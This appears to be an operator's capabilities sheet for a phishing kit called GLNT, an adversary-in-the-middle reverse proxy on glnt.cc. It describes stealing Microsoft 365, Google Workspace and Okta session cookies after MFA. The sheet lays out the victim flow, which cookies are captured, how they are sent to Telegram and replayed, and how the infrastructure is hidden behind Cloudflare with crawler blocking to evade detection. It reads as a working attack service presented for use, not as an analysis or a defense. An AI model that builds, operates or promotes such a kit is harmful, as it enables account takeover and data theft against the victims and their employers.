

GLNT Phish Kit — Capabilities

GLNT Phish Kit — Capabilities Summary

Date: 2026-06-19 | **Domain:** glnt.cc | **Type:** AiTM Reverse Proxy

What It Does

Captures Microsoft 365 session cookies AFTER successful MFA — giving full account access without needing the victim’s password or MFA again.

Who It Works On

Target	Status	Notes
Azure AD / Entra ID work accounts	YES	user@company.com — full flow
Microsoft 365 Business	YES	Same as Azure AD
Google Workspace	YES	Via google.json phishlet
Okta SSO	YES	Via okta.json phishlet
Personal Microsoft (@outlook/@hotmail)	NO	Redirects to office.com (separate domain)

MFA Methods Captured

MFA Type	Captured?	Why
Microsoft Authenticator (push)	YES	Session cookie after approval
Microsoft Authenticator (number match)	YES	Session cookie after approval

MFA Type	Captured?	Why
SMS/Phone call	YES	Session cookie after code entry
TOTP (6-digit code)	YES	Session cookie after code entry
FIDO2 Passkey / Security Key	YES	Session cookie after authentication
Windows Hello	YES	Session cookie after authentication
Duo / 3rd-party MFA	YES	Session cookie after authentication

Why all MFA works: The proxy doesn't intercept the MFA challenge — it captures the ESTSAUTH/ESTSAUTHPERSISTENT session cookies that Microsoft issues AFTER successful authentication. These cookies grant authenticated access without MFA.

Attack Flow (10 seconds)

1. Victim clicks link → <https://glnt.cc/#<encrypted>>
2. 100ms spinner → bootloader decrypts fragment
3. Redirect to login.glnt.cc → REAL Microsoft login page
4. Victim enters email + password (on real Microsoft page)
5. Victim completes MFA (any method)
6. Microsoft issues ESTSAUTH session cookie
7. Cookie captured by proxy → Telegram notification
8. Replay cookie → full account access, no MFA needed

Cookie Capture

Cookie	Purpose	When Captured
ESTSAUTH	Primary session token	Post-MFA only
ESTSAUTHPERSISTENT	Persistent session token	Post-MFA only
ESTSAUTHLIGHT	Lightweight session token	Post-MFA only
SignInStateCookie	Sign-in state	Post-MFA only

Pre-auth cookies (fpc, esctx, buid) are logged to JSONL but NOT sent to Telegram.

Infrastructure

Victim → Cloudflare Worker (TLS) → EC2 proxy-server → Real Microsoft Login

|
Telegram + JSONL + Analytics

Dashboard

- Domain: glnt.cc (Cloudflare Registrar, at-cost pricing)
 - TLS: Cloudflare (valid cert, green padlock)
 - Origin IP: Hidden behind Cloudflare Worker
 - Bot blocking: 14 crawler patterns blocked at edge
 - Rate limiting: 10 req/min per IP
-

Quick Test

<https://glnt.cc/#<fragment>>

Open in browser → enter work email → complete MFA → check Telegram.